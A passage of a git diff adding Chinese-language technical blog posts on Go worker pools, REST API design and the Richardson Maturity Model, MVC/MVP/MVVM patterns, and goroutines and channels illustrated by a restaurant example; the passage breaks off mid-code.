t.Fatalf("wrong value %v; expected %v", val, int(i)*2) + } + case <-wp.Done: + return + default: + } + } +} +``` + +### 6.Cancel Gracefully + +无论如何,如果客户端需要优雅地关闭 WorkerPool 的执行,它可以在给定的 Context 上调用 cancel() 函数,或者配置由 Context.WithTimeout 方法定义的超时持续时间。 + +是否发生一个或其他选项(最终都调用 cancel() 函数,一个显式调用,另一个在超时发生后)将从 Context 返回一个关闭的 Done 通道,该通道将传播到所有 Worker 函数 + +这使得 for select 循环中断,因此工人停止在通道外消费作业。然后稍后,WaitGroup 被标记为完成。但是,运行中的工作人员将在 WorkerPool 关闭之前完成他们的工作执行。 + +### 7.Sum Up + +当我们利用这种模式时,我们将利用我们的系统实现并发作业执行,从而在作业执行中提高性能和一致性。 + +乍一看,这种模式可能很难掌握。但是,请花点时间消化它,特别是如果您是 GoLang 并发模型的新手。 + +可能有帮助的一件事是将通道视为管道,其中数据从一侧流向另一侧,并且可以容纳的数据量是有限的。 + +所以如果我们想注入更多的数据,我们只需要在等待的时候先取出一些数据来为它腾出一些额外的空间 + +另一方面,如果我们想从管道中消费,就必须有一些东西,否则,我们等到那发生。通过这种方式,我们使用这些管道在 goroutine 之间进行通信和共享数据。 + diff --git a/_posts/2022-02-15-test-markdown.md b/_posts/2022-02-15-test-markdown.md new file mode 100644 index 000000000000..0b158c6a28e1 --- /dev/null +++ b/_posts/2022-02-15-test-markdown.md @@ -0,0 +1,461 @@ +--- +layout: post +title: 什么是 REST API? +subtitle: RESTful API 设计规范 +tags: [架构] +--- +## RESTful API 设计规范 + +**从字面可以看出,他是Rest式的接口,所以我们先了解下什么是Rest** + +#### 什么是 REST API? + +REST API 也称为 RESTful API,是遵循 REST 架构规范的应用编程接口(API 或 Web API),支持与 RESTful Web 服务进行交互。REST全称 **RE**presentational **S**tate **T**ransfer。 由Roy Thomas Fielding博士在2000年于其论文 *Architectural Styles and the Design of Network-based Software Architectures* 中提出的。 是一种分布式超媒体架构风格。 + +> #### 什么是 API? +> +> API 由一组定义和协议组合而成,可用于构建和集成应用软件。有时我们可以把它们当做信息提供者和信息用户之间的合同——建立消费者(呼叫)所需的内容和制作者(响应)要求的内容。例如,天气服务的 API 可指定用户提供邮编,制作者回复的答案由两部分组成,第一部分是最高温度,第二部分是最低温度。 +> +> 换言之,如果想与计算机或系统交互以检索信息或执行某项功能,API 可帮助将需要的信息传达给该系统,使其能够理解并满足的请求。 +> +> 可以把 API 看做是用户或客户端与他们想要的资源或 Web 服务之间的传递者。它也是企业在共享资源和信息的同时保障安全、控制和身份验证的一种方式,即确定哪些人可以访问什么内容。 +> +> API 的另一个优势是无需了解缓存的具体信息,即如何检索资源或资源来自哪里。 + +> #### 如何理解 REST 的含义? +> +> **REST 是一组架构规范,并非协议或标准。API 开发人员可以采用各种方式实施 REST。** +> +> 当客户端通过 RESTful API 提出请求时,它会将资源状态表述传递给请求者或终端。该信息或表述通过 HTTP 以下列某种格式传输:JSON(Javascript 对象表示法)、HTML、XLT、Python、PHP 或纯文本。JSON 是最常用的编程语言,尽管它的名字英文原意为“JavaScript 对象表示法”,但它适用于各种语言,并且人和机器都能读。 +> +> **头和参数在 RESTful API HTTP 请求的 HTTP 方法中也很重要,因为其中包含了请求的元数据、授权、统一资源标识符(URI)、缓存、cookie 等重要标识信息。有请求头和响应头,每个头都有自己的 HTTP 连接信息和状态码。** + +#### **如何实现 RESTful API?** + +API 要被视为 RESTful API,必须遵循以下标准: + +- **客户端-服务器架构由客户端、服务器和资源组成,并且通过 HTTP 管理请求。** + +- **[无状态](https://www.redhat.com/zh/topics/cloud-native-apps/stateful-vs-stateless)客户端-服务器通信,即 get 请求间隔期间,不会存储任何客户端信息,并且每个请求都是独立的,互不关联。**客户端到服务端的所有请求必须包含了所有信息,不能够利用任何服务器存储的上下文。 这一约束可以保证绘画状态完全由客户端控制 + + 这一点在写一个接口的时候需要独立思考一下,如果每个请求都是独立的,互不关联的,那么他们怎么配合着实现一整套的功能, + +- **可缓存性数据**:可简化客户端-服务器交互。 + +- **组件间的统一接口:使信息以标准形式传输。这要求:** + + - Identification of resources 资源标识符**所请求的资源可识别并与发送给客户端的表述分离开。** + + - Manipulation of resources through representations + + 通过“representation”来操作资源 + + - Self-descriptive messages 自我描述 + + 客户端可通过接收的表述操作资源,因为表述包含操作所需的充足信息。返回给客户端的自描述消息包含充足的信息,能够指明客户端应该如何处理所收到的信息。 + + - 超文本/超媒体可用,是指在访问资源后,客户端应能够使用超链接查找其当前可采取的所有其他操作。 + +- **组织各种类型服务器(负责安全性、负载平衡等的服务器)的分层系统会参与将请求的信息检索到对客户端不可见的层次结构中。** + + 系统是分层的,客户端无法知道也不需要知道与他交互的是否是真正的终端服务器。 这也就给了系统在中间切入的可能,提高了安全性和伸缩性。 + + ### Resource 资源 + + 在了解了REST API的约束后,REST最关键的概念就是资源。 任何的信息在REST架构里都被抽象为资源:图像、文档、集合、用户,等等。 (这在某些场景是和直觉相悖的,后文会详述) REST通过资源标识符来和特定资源进行交互。 + + 资源在特定时间戳下的状态称之为资源表示(Resource Representation),由**数据**,**元数据**和**超链接**组成。 资源的格式由媒体类型(media type)指定。(我们熟悉的JSON即是一种方式) + + 一个真正的REST API看上去就像是超文本一样。 除了数据本身以外还包含了其他客户端想了解的信息以描述自己, 比如一个典型的例子是在获取分页数据时,服务端同时还会返回页码总数以及下一页的链接。 + +## REST vs HTTP + +从上面的概念我们就可以知道,REST和任何具体技术无关。 我们会认为REST就是HTTP,主要是因为HTTP是最广为流行的客户端服务端通信协议。 但是HTTP本身和REST无关,可以通过其他协议构建RESTful服务; 用HTTP构建的服务也很有可能不是RESTful的。 + + + +## REST vs JSON + +与通信协议一样,REST与任何具体的数据格式无关。 无论用XML,JSON或是HTML,都可以构建REST服务。 + +更进一步的,JSON甚至不是一种超媒体格式,只是一种数据格式。 比如JSON并没有定义超链接发现的行为。 真正的REST需要的是有着清楚规范的超媒体格式,比较标准的JSON-base超媒体格式有 [JSON-LD](http://www.w3.org/TR/json-ld/) 和 [HAL](http://stateless.co/hal_specification.html) + +**个人最想分享的部分!!!** + +# Richardson Maturity Model + +> steps toward the glory of REST +> +> *A model (developed by Leonard Richardson) that breaks down the principal elements of a REST approach into three steps. These introduce resources, http verbs, and hypermedia controls.* +> +> *一个模型(由 Leonard Richardson 开发)将 REST 方法的主要元素分解为三个步骤。这些介绍了资源、http 动词和超媒体控件。* + +**核心是这样一个概念,即网络是一个运行良好的大规模可扩展分布式系统的存在证明,我们可以从中汲取灵感来更轻松地构建集成系统。** + +*走向 REST 的步骤* + +![img](https://martinfowler.com/articles/images/richardsonMaturityModel/overview.png) + +## 级别 0 + +该模型的出发点是使用 HTTP 作为远程交互的传输系统,但不使用任何 Web 机制。本质上,在这里所做的是使用 HTTP 作为自己的远程交互机制的隧道机制,通常基于[Remote Procedure Invocation](http://www.eaipatterns.com/EncapsulatedSynchronousIntegration.html)。 + +![img](https://martinfowler.com/articles/images/richardsonMaturityModel/level0.png) + +*0 级交互示例* + +假设我想和我的医生预约。我的预约软件首先需要知道我的医生在给定日期有哪些空档,因此它会向医院预约系统发出请求以获取该信息。在 0 级场景中,医院将在某个 URI 处公开服务端点。然后,我将包含我的请求详细信息的文档发布到该端点。 + +``` +POST /appointmentService HTTP/1.1 +[various headers] + + +然后服务器将返回一个文件给我这个信息 +HTTP/1.1 200 OK +[various headers] + + + + + + + <医生 id = "mjones"/> + + + +我在这里使用 XML 作为示例,但内容实际上可以是任何内容:JSON、YAML、键值对或任何自定义格式。 + +我的下一步是预约,我可以再次通过将文档发布到端点来进行预约。 +POST /appointmentService HTTP/1.1 +[various headers] + + + + + +如果一切顺利,我会收到回复说我的约会已预订。 +HTTP/1.1 200 OK +[various headers] + + + + + +如果有问题,说其他人在我之前进入,那么我会在回复正文中收到某种错误消息。 +HTTP/1.1 200 OK +[various headers] + + + + + Slot not available + +``` + +到目前为止,这是一个简单的 RPC 样式系统。这很简单,因为它只是来回传输普通的旧 XML (POX)。如果您使用 SOAP 或 XML-RPC,它基本上是相同的机制,唯一的区别是您将 XML 消息包装在某种信封中。 + +## 级别 1 - 资源 + +在 RMM 中实现REST的荣耀的第一步是引入资源。因此,现在我们不再向单个服务端点发出所有请求,而是开始与单个资源进行对话。![img](https://martinfowler.com/articles/images/richardsonMaturityModel/level1.png) + +*图 3:1 级添加资源* + +``` +因此,对于我们的初始查询,我们可能有给定医生的资源。 + +POST /doctors/mjones HTTP/1.1 +[various headers] + + +回复带有相同的基本信息,但现在每个插槽都是可以单独寻址的资源。 + +HTTP/1.1 200 OK +[various headers] + + + + + + +使用特定资源预约意味着发布到特定位置。 + +POST /slots/1234 HTTP/1.1 +[各种其他标头] + + + <患者 id = "jsmith"/> + +如果一切顺利,我会收到与之前类似的回复。 + +HTTP/1.1 200 OK +[various headers] + + + + + +``` + +**区别是我们不是调用某个函数并传递参数,而是在一个特定对象上调用一个方法,为其他信息提供参数。** + +## 第 2 级 - HTTP 动词 + +在 0 级和 1 级的所有交互中都使用了 HTTP POST 动词,但有些人使用 GET 代替或附加使用。在这些级别上并没有太大区别,它们都被用作隧道机制,允许我们通过 HTTP 隧道交互。级别 2 远离这一点,使用 HTTP 动词尽可能接近它们在 HTTP 本身中的使用方式 + +![img](https://martinfowler.com/articles/images/richardsonMaturityModel/level2.png) + +对于我们的插槽列表,这意味着我们要使用 GET。 + +``` +GET /doctors/mjones/slots?date=20100104&status=open HTTP/1.1 +主机:royalhope.nhs.uk +``` + +回复与 POST 的回复相同 + +``` +HTTP/1.1 200 OK +[various headers] + + + + + +``` + +在第 2 级,对这样的请求使用 GET 至关重要。HTTP 将 GET 定义为一种安全操作,即它不会对任何事物的状态进行任何重大更改。这允许我们以任何顺序安全地调用 GET 多次,并且每次都获得相同的结果。这样做的一个重要结果是,**它允许请求路由中的任何参与者使用缓存,**这是使 Web 性能与它一样好的关键因素。HTTP 包括各种支持缓存的措施,通信中的所有参与者都可以使用这些措施。通过遵循 HTTP 的规则,我们能够利用该功能。 + +为了预约,我们需要一个改变状态的 HTTP 动词,一个 POST 或一个 PUT。我将使用与之前相同的 POST。 + +即使我使用与级别 1 相同的帖子,远程服务的响应方式也存在另一个显着差异。如果一切顺利,该服务会回复一个响应代码 201,表示世界上有一个新资源。 + +``` +HTTP/1.1 201 Created +Location: slots/1234/appointment +[various headers] + + + + + + +201 响应包含一个带有 URI 的 location 属性,客户端可以使用该 URI 来获取该资源的当前状态。此处的响应还包括该资源的表示,以立即为客户端节省额外的调用。 + +如果出现问题,例如其他人预订会话,则还有另一个区别。 + +HTTP/1.1 409 Conflict +[various headers] + + + + +``` + +此响应的重要部分是使用 HTTP 响应代码来指示出现问题。在这种情况下,409 似乎是一个不错的选择,表明其他人已经以不兼容的方式更新了资源。不是使用返回码 200 而是包含错误响应,在第 2 级,我们明确地使用了类似这样的某种错误响应。由协议设计者决定使用什么代码,但如果出现错误,应该有一个非 2xx 响应。第 2 级介绍了使用 HTTP 动词和 HTTP 响应代码。 + +这里有一个不一致的地方。REST 倡导者谈论使用所有 HTTP 动词。他们还通过说 REST 试图从 Web 的实际成功中学习来证明他们的方法是正确的。但是万维网在实践中很少使用 PUT 或 DELETE。更多地使用 PUT 和 DELETE 有合理的理由,但网络的存在证明不是其中之一。 + +Web 存在支持的关键元素是安全(例如 GET)和非安全操作之间的强分离,以及使用状态代码来帮助传达遇到的各种错误。 + +## 3 级 - 超媒体控制 + +最后一层介绍了一些经常听到的东西,它被称为 HATEOAS(超文本作为应用程序状态的引擎)它解决了如何从列表中获取空缺职位以了解如何进行预约的问题。 + +![img](https://martinfowler.com/articles/images/richardsonMaturityModel/level3.png) + +``` +我们从在级别 2 中发送的相同初始 GET 开始 + +GET /doctors/mjones/slots?date=20100104&status=open HTTP/1.1 +Host: royalhope.nhs.uk +但回应有一个新的元素 +HTTP/1.1 200 OK +[various headers] + + + + + + + + + +``` + +每个插槽现在都有一个链接元素,其中包含一个 URI,告诉我们如何预约。 + +超媒体控件的重点是它们告诉我们下一步可以做什么,以及我们需要操作的资源的 URI。我们不必知道在哪里发布我们的预约请求,响应中的超媒体控件会告诉我们如何去做。 + +POST 将再次复制 2 级的 + +``` +POST /slots/1234 HTTP/1.1 +[various other headers] + + + + + +HTTP/1.1 201 Created +Location: http://royalhope.nhs.uk/slots/1234/appointment +[various headers] +回复包含许多超媒体控件,用于接下来要做的不同事情 + + + + + + + + + + + +``` + +我应该强调,虽然 RMM 是一种思考 REST 元素的好方法,但它并不是 REST 本身级别的定义。Roy Fielding 明确表示,[3 级 RMM 是 REST 的先决条件](http://roy.gbiv.com/untangled/2008/rest-apis-must-be-hypertext-driven)。与软件中的许多术语一样,REST 有很多定义,但自从 Roy Fielding 创造了这个术语,他的定义应该比大多数人更重要。 + +我发现这个 RMM 的有用之处在于它提供了一个很好的循序渐进的方式来理解restfulness.思维背后的基本思想。因此,我认为它是帮助我们了解概念的工具,而不是应该在某种评估机制中使用的东西。我认为我们还没有足够的示例来真正确定 restful 方法是集成系统的正确方法,我确实认为这是一种非常有吸引力的方法,并且在大多数情况下我会推荐这种方法。 + +这个模型的吸引力在于它与常见设计技术的关系。 + +- 级别 1 通过使用分而治之,将大型服务端点分解为多个资源来解决处理复杂性的问题。 + +- Level 2 引入了一组标准的动词,以便我们以相同的方式处理类似的情况,消除不必要的变化。 + +### 局限: + +#### 不是所有业务都可以被表示为资源 + +这在构建REST API时是经常会碰到的,我们不能正确表示资源,所以被迫采用了其他实际。 + +例如,一个简单的用户登入登出,如果抽象为资源可能变成了创建一个会话, 即`POST /api/session`,这其实远不如`POST /login`来的直观。 + +又比如,一个播放器资源,当我们要播放或停止时,一个典型的设计肯定是`POST /player/stop`, 而如果要满足REST规范,停止这个动作将不复存在,取而代之的是`播放器状态`,API形如 `POST /player {state:"stop"}`。 + +以上两例都展示了,REST在某些场景下可能并不能提供良好的表现力。 + +## 基于 HTTP+JSON 的类 REST API 设计 + +http://www.ruanyifeng.com/blog/2014/05/restful_api.html + +##### 一、协议 + +API与用户的通信协议,总是使用[HTTPs协议](https://www.ruanyifeng.com/blog/2014/02/ssl_tls.html)。 + +##### 二、域名 + +应该尽量将API部署在专用域名之下。 + +> ```javascript +> https://api.example.com +> ``` + +如果确定API很简单,不会有进一步扩展,可以考虑放在主域名下。 + +> ```javascript +> https://example.org/api/ +> ``` + +##### 三、版本(Versioning) + +应该将API的版本号放入URL。 + +> ```javascript +> https://api.example.com/v1/ +> ``` + +另一种做法是,将版本号放在HTTP头信息中,但不如放入URL方便和直观。[Github](https://developer.github.com/v3/media/#request-specific-version)采用这种做法。 + +##### 四、路径(Endpoint) + +路径又称"终点"(endpoint),表示API的具体网址。 + +在RESTful架构中,每个网址代表一种资源(resource),所以网址中不能有动词,只能有名词,而且所用的名词往往与数据库的表格名对应。一般来说,数据库中的表都是同种记录的"集合"(collection),所以API中的名词也应该使用复数。 + +举例来说,有一个API提供动物园(zoo)的信息,还包括各种动物和雇员的信息,则它的路径应该设计成下面这样。 + +> - https://api.example.com/v1/zoos +> - https://api.example.com/v1/animals +> - https://api.example.com/v1/employees + +##### 五、HTTP动词 + +对于资源的具体操作类型,由HTTP动词表示。 + +常用的HTTP动词有下面五个(括号里是对应的SQL命令)。 + +> - GET(SELECT):从服务器取出资源(一项或多项)。 +> - POST(CREATE):在服务器新建一个资源。 +> - PUT(UPDATE):在服务器更新资源(客户端提供改变后的完整资源)。 +> - PATCH(UPDATE):在服务器更新资源(客户端提供改变的属性)。 +> - DELETE(DELETE):从服务器删除资源。 + +##### 六、过滤信息(Filtering) + +如果记录数量很多,服务器不可能都将它们返回给用户。API应该提供参数,过滤返回结果。 + +下面是一些常见的参数。 + +> - ?limit=10:指定返回记录的数量 +> - ?offset=10:指定返回记录的开始位置。 +> - ?page=2&per_page=100:指定第几页,以及每页的记录数。 +> - ?sortby=name&order=asc:指定返回结果按照哪个属性排序,以及排序顺序。 +> - ?animal_type_id=1:指定筛选条件 + +参数的设计允许存在冗余,即允许API路径和URL参数偶尔有重复。比如,GET /zoo/ID/animals 与 GET /animals?zoo_id=ID 的含义是相同的。 + +##### 七、状态码(Status Codes) + +##### 八、错误处理(Error handling) + +如果状态码是4xx,就应该向用户返回出错信息。一般来说,返回的信息中将error作为键名,出错信息作为键值即可。 + +> ```javascript +> { +> error: "Invalid API key" +> } +> ``` + +##### 九、返回结果 + +针对不同操作,服务器向用户返回的结果应该符合以下规范。 + +> - GET /collection:返回资源对象的列表(数组) +> - GET /collection/resource:返回单个资源对象 +> - POST /collection:返回新生成的资源对象 +> - PUT /collection/resource:返回完整的资源对象 +> - PATCH /collection/resource:返回完整的资源对象 +> - DELETE /collection/resource:返回一个空文档 + +##### 十、Hypermedia API + +RESTful API最好做到Hypermedia,即返回结果中提供链接,连向其他API方法,使得用户不查文档,也知道下一步应该做什么。 + +比如,当用户向api.example.com的根目录发出请求,会得到这样一个文档。 + +> ```javascript +> {"link": { +> "rel": "collection https://www.example.com/zoos", +> "href": "https://api.example.com/zoos", +> "title": "List of zoos", +> "type": "application/vnd.yourformat+json" +> }} +> ``` + +上面代码表示,文档中有一个link属性,用户读取这个属性就知道下一步该调用什么API了。rel表示这个API与当前网址的关系(collection关系,并给出该collection的网址),href表示API的路径,title表示API的标题,type表示返回类型 + +##### 十一、其他 + +(1)API的身份认证应该使用[OAuth 2.0](https://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html)框架。 + +(2)服务器返回的数据格式,应该尽量使用JSON,避免使用XML。 \ No newline at end of file diff --git a/_posts/2022-02-19-test-markdown.md b/_posts/2022-02-19-test-markdown.md new file mode 100644 index 000000000000..29fb1f8560e8 --- /dev/null +++ b/_posts/2022-02-19-test-markdown.md @@ -0,0 +1,32 @@ +--- +layout: post +title: 浅谈MVC、MVP、MVVM架构模式 +subtitle: MVC、MVP、MVVM这些模式是为了解决开发过程中的实际问题而提出来的,目前作为主流的几种架构模式而被广泛使用. +tags: [架构] +--- +# 浅谈MVC、MVP、MVVM架构模式 + +MVC、MVP、MVVM这些模式是为了解决开发过程中的实际问题而提出来的,目前作为主流的几种架构模式而被广泛使用. + +### 一、MVC(Model-View-Controller)(最简单数据单线传递) + +#### MVC是比较直观的架构模式,用户操作->View(负责接收用户的输入操作)->Controller(业务逻辑处理)->Model(数据持久化)->View(将结果反馈给View). + +### 二、MVP(Model-View-Presenter) + +##### MVP是把MVC中的Controller换成了Presenter(呈现),目的就是为了完全切断View跟Model之间的联系,由Presenter充当桥梁,做到View-Model之间通信的完全隔离. + +Model提供数据,View负责显示,Controller/Presenter负责逻辑的处理.MVP与MVC有着一个重大的区别:在MVP中View并不直接使用Model,它们之间的通信是通过Presenter (MVC中的Controller)来进行的,所有的交互都发生在Presenter内部,而在MVC中View会直接从Model中读取数据而不是通过 Controller. + +- 特点: + 1. 各部分之间的通信,都是双向的. + 2. View 与 Model 不发生联系,都通过 Presenter 传递. + 3. View 非常薄,不部署任何业务逻辑,称为”被动视图”(Passive View),即没有任何主动性,而 Presenter非常厚,所有逻辑都部署在那里. + +### 三、MVVM(Model-View-ViewModel) + +##### 如果说MVP是对MVC的进一步改进,那么MVVM则是思想的完全变革.它是将“数据模型数据双向绑定”的思想作为核心,因此在View和Model之间没有联系,通过ViewModel进行交互,而且Model和ViewModel之间的交互是双向的,因此视图的数据的变化会同时修改数据源,而数据源数据的变化也会立即反应到View上. + +MVVM 模式将 Presenter 改名为 ViewModel,基本上与 MVP 模式完全一致.唯一的区别是,它采用双向绑定(data-binding):View的变动,自动反映在 ViewModel,反之亦然; + +这种模式跟经典的MVP(Model-View-Presenter)模式很相似,除了需要一个为View量身定制的model,这个model就是ViewModel.ViewModel包含所有由UI特定的接口和属性,并由一个 ViewModel 的视图的绑定属性,并可获得二者之间的松散耦合,所以需要在ViewModel 直接更新视图中编写相应代码.数据绑定系统还支持提供了标准化的方式传输到视图的验证错误的输入的验证. \ No newline at end of file diff --git a/_posts/2022-03-14-test-markdown.md b/_posts/2022-03-14-test-markdown.md new file mode 100644 index 000000000000..c987d1f60a80 --- /dev/null +++ b/_posts/2022-03-14-test-markdown.md @@ -0,0 +1,1133 @@ +--- +layout: post +title: Goroutines以及通道在 Golang 中的应用 +subtitle: Go 使用通道在 goroutine 之间共享数据。它就像一个发送和接收数据的管道。通道是并发安全的。因此,您不需要处理锁定。线程使用共享内存。这是与流程最重要的区别。但是,必须使用互斥锁、信号量等来避免与 goroutines 相反的任何问题。 +tags: [golang] +--- +# Goroutines以及通道在 Golang 中的应用 + +![img](https://miro.medium.com/max/1400/1*VARgBCgx5x6BQy96879sxA.png) + +> 共享数据 +> +> Go 使用**通道**在 goroutine 之间共享数据。它就像一个发送和接收数据的管道。通道是并发安全的。因此,您不需要处理锁定。线程使用共享内存。这是与流程最重要的区别。但是,必须使用互斥锁、信号量等来避免与 goroutines 相反的任何问题。 + +## Example 1 + +让我们以餐厅为例。餐厅有一些服务员和厨师。 + +通常餐厅里顾客、服务员和厨师之间的互动是这样的: + +1. 一些服务员接受顾客的订单。 +2. 服务员将订单交给了一些厨师。 +3. 厨师烹饪订单。 +4. 厨师将煮好的菜交给某个服务员(不一定是接受订单的同一位服务员)。 +5. 服务员把菜递给顾客。 + +如何在代码中表示这个流程? + +``` +package main + +import ( + "fmt" + "math/rand" +) + +func getWaiter() string { + waiters := []string{ + "Waiter 1", + "Waiter 2", + "Waiter 3", + } + idx := rand.Intn(len(waiters)) + return waiters[idx] + +} + +func getChef() string { + chefs := []string{ + "Chef 1", + "Chef 2", + "Chef 3", + } + inx := rand.Intn(len(chefs)) + return chefs[inx] + +} +func takeOrlder(ordlerId int) { + waiter := getWaiter() + fmt.Printf("%s has taken orlder number %v\n", waiter, ordlerId) +} + +func cookOrlder(ordlerId int) { + chef := getChef() + fmt.Printf("%s is cooking orlder number %v\n ", chef, ordlerId) +} +func bringOrlder(ordlerId int) { + waiter := getWaiter() + fmt.Printf("%s has brought dishes for orlder number %v\n", waiter, ordlerId) + +} +func main() { + for orlderId := 0; orlderId < 8; orlderId++ { + takeOrlder(orlderId) + cookOrlder(orlderId) + bringOrlder(orlderId) + } +} + +``` + +假设我们有**N**个客户,那么我们将以线性方式一个一个地为客户服务。服务员**X**将接受顾客 1 的订单,将其交给某位厨师**Y。**主厨**Y**会做这道菜,然后交给服务员**Z。**服务员**Z**将把这道菜带给顾客 1。然后顾客 2、3…… **N**也会发生同样的过程。 + +##### **disadvantage** + +如果很多顾客大约在同一时间到达餐厅,那么他们中的很多人将不得不等待甚至将他们的订单交给服务员。目前,餐厅无法充分发挥其员工(服务员和厨师)的潜力。换句话说,使用此策略将无法很好地扩展或在更短的时间内为大量客户提供服务。 + +``` +//results are ... + +Waiter 3 has taken orlder number 0 +Chef 1 is cooking orlder number 0 + Waiter 3 has brought dishes for orlder number 0 +Waiter 3 has taken orlder number 1 +Chef 2 is cooking orlder number 1 + Waiter 1 has brought dishes for orlder number 1 +Waiter 2 has taken orlder number 2 +Chef 3 is cooking orlder number 2 + Waiter 2 has brought dishes for orlder number 2 +Waiter 1 has taken orlder number 3 +Chef 3 is cooking orlder number 3 + Waiter 2 has brought dishes for orlder number 3 +Waiter 1 has taken orlder number 4 +Chef 3 is cooking orlder number 4 + Waiter 2 has brought dishes for orlder number 4 +Waiter 3 has taken orlder number 5 +Chef 1 is cooking orlder number 5 + Waiter 3 has brought dishes for orlder number 5 +Waiter 3 has taken orlder number 6 +Chef 3 is cooking orlder number 6 + Waiter 3 has brought dishes for orlder number 6 +Waiter 1 has taken orlder number 7 +Chef 3 is cooking orlder number 7 + Waiter 2 has brought dishes for orlder number 7 +``` + + + +##### solution? + +``` +// solution 1 + +package main + +import ( + "fmt" + "math/rand" + "sync" +) + +func getWaiter() string { + waiters := []string{ + "Waiter 1", + "Waiter 2", + "Waiter 3", + } + idx := rand.Intn(len(waiters)) + return waiters[idx] + +} + +func getChef() string { + chefs := []string{ + "Chef 1", + "Chef 2", + "Chef 3", + } + inx := rand.Intn(len(chefs)) + return chefs[inx] + +} +func takeOrlder(ordlerId int) { + waiter := getWaiter() + fmt.Printf("%s has taken orlder number %v\n", waiter, ordlerId) +} + +func cookOrlder(ordlerId int) { + chef := getChef() + fmt.Printf("%s is cooking orlder number %v\n ", chef, ordlerId) +} +func bringOrlder(ordlerId int) { + waiter := getWaiter() + fmt.Printf("%s has brought dishes for orlder number %v\n", waiter, ordlerId) + +} +func DealOrlder(orlderId int, wg *sync.WaitGroup) { + + takeOrlder(orlderId) + cookOrlder(orlderId) + bringOrlder(orlderId) + wg.Done() + +} +func main() { + var wg sync.WaitGroup + for orlderId := 0; orlderId < 8; orlderId++ { + wg.Add(1) + go DealOrlder(orlderId, &wg) + } + wg.Wait() + +} +// result1 are ... +Waiter 3 has taken orlder number 7 +Chef 1 is cooking orlder number 7 + Waiter 3 has brought dishes for orlder number 7 +Waiter 3 has taken orlder number 0 +Chef 2 is cooking orlder number 0 + Waiter 1 has brought dishes for orlder number 0 +Waiter 3 has taken orlder number 4 +Chef 1 is cooking orlder number 4 + Waiter 3 has brought dishes for orlder number 4 +Waiter 2 has taken orlder number 5 +Chef 1 is cooking orlder number 5 + Waiter 3 has brought dishes for orlder number 5 +Waiter 2 has taken orlder number 2 +Waiter 2 has taken orlder number 6 +Chef 1 is cooking orlder number 6 + Waiter 3 has brought dishes for orlder number 6 +Waiter 2 has taken orlder number 3 +Chef 3 is cooking orlder number 3 + Waiter 3 has brought dishes for orlder number 3 +Chef 3 is cooking orlder number 2 + Waiter 1 has brought dishes for orlder number 2 +Waiter 3 has taken orlder number 1 +Chef 3 is cooking orlder number 1 + Waiter 2 has brought dishes for orlder number 1 +``` + +``` +//solution 2 +package main + +import ( + "fmt" + "math/rand" + "sync" +) + +func getWaiter() string { + waiters := []string{ + "Waiter 1", + "Waiter 2", + "Waiter 3", + } + idx := rand.Intn(len(waiters)) + return waiters[idx] + +} + +func getChef() string { + chefs := []string{ + "Chef 1", + "Chef 2", + "Chef 3", + } + inx := rand.Intn(len(chefs)) + return chefs[inx] + +} +func takeOrlder(ordlerId int, wg *sync.WaitGroup) { + + waiter := getWaiter() + fmt.Printf("%s has taken orlder number %v\n", waiter, ordlerId) + wg.Done() +} + +func cookOrlder(ordlerId int, wg *sync.WaitGroup) { + + chef := getChef() + fmt.Printf("%s is cooking orlder number %v\n ", chef, ordlerId) + wg.Done() +} +func bringOrlder(ordlerId int, wg *sync.WaitGroup) { + + waiter := getWaiter() + fmt.Printf("%s has brought dishes for orlder number %v\n", waiter, ordlerId) + wg.Done() + +} +func DealOrlder(orlderId int, wg *sync.WaitGroup) { + wg.Add(3) + go takeOrlder(orlderId, wg) + go cookOrlder(orlderId, wg) + go bringOrlder(orlderId, wg) + +} +func main() { + var wg sync.WaitGroup + for orlderId := 0; orlderId < 8; orlderId++ { + DealOrlder(orlderId, &wg) + } + wg.Wait() + +} + +// results are ... +Waiter 3 has brought dishes for orlder number 7 +Waiter 3 has brought dishes for orlder number 3 +Waiter 3 has taken orlder number 4 +Chef 2 is cooking orlder number 4 + Waiter 1 has brought dishes for orlder number 4 +Waiter 2 has taken orlder number 5 +Chef 3 is cooking orlder number 5 + Waiter 2 has brought dishes for orlder number 5 +Waiter 1 has taken orlder number 6 +Chef 3 is cooking orlder number 6 + Waiter 2 has brought dishes for orlder number 6 +Chef 1 is cooking orlder number 3 + Waiter 3 has taken orlder number 7 +Chef 2 is cooking orlder number 7 + Chef 1 is cooking orlder number 2 + Waiter 3 has taken orlder number 2 +Waiter 3 has brought dishes for orlder number 2 +Waiter 1 has taken orlder number 0 +Chef 3 is cooking orlder number 0 + Waiter 1 has taken orlder number 3 +Waiter 3 has brought dishes for orlder number 0 +Chef 3 is cooking orlder number 1 + Waiter 2 has taken orlder number 1 +Waiter 3 has brought dishes for orlder number 1 +``` + +##### **new problem?** + +``` + //Chef 1 is cooking orlder number 2 + //Waiter 3 has taken orlder number 2 + + //也就是说:有时某个特定的订单甚至在服务员拿走之前就已经做好了!或者订单甚至在烹饪或拿走之前就已交付!虽然现在服务员和厨师同时工作,但是点菜、煮熟和带回来的顺序应该是固定的(拿->煮->带) +``` + +##### **new solution?** + +``` +//厨师在收到某个服务员的订单之前不应开始准备订单 +``` + +- 需要同步不同 `goroutine` 之间的通信 +- 厨师在收到某个服务员的订单之前不应开始准备订单 +- 服务员在收到厨师的订单之前不应交付订单 +- 通道本质上类似于消息队列 +- 创建两个通道。一种用于厨师和服务员之间的互动,他们接受顾客的订单并将其交付给厨师。 +- 另一个是厨师和服务员之间的互动,他们将准备好的菜肴送到顾客手中。 + +``` +// solution1 +package main + +import ( + "fmt" + "math/rand" + "sync" + "time" +) + +func getWaiter() string { + waiters := []string{ + "Waiter 1", + "Waiter 2", + "Waiter 3", + } + idx := rand.Intn(len(waiters)) + return waiters[idx] + +} + +func getChef() string { + chefs := []string{ + "Chef 1", + "Chef 2", + "Chef 3", + } + inx := rand.Intn(len(chefs)) + return chefs[inx] + +} +func takeOrlder(ordlerId int, wg *sync.WaitGroup, canTakedOrlders chan int, done chan bool) { + + waiter := getWaiter() + fmt.Printf("%s has taken orlder number %v\n", waiter, ordlerId) + canTakedOrlders <- ordlerId + wg.Done() + select { + case <-done: + fmt.Println("case done return") + return + + } +} + +func cookOrlder(wg *sync.WaitGroup, canCookedOrlders chan int, canBringedrlders chan int, done chan bool) { + + for ordlerId := range canCookedOrlders { + + chef := getChef() + fmt.Printf("%s has brought dishes for orlder number %v\n", chef, ordlerId) + canBringedrlders <- ordlerId + wg.Done() + } + + select { + case <-done: + fmt.Println("case done return") + return + + } + +} +func bringOrlder(wg *sync.WaitGroup, canBringedrlders chan int, done chan bool) { + + for 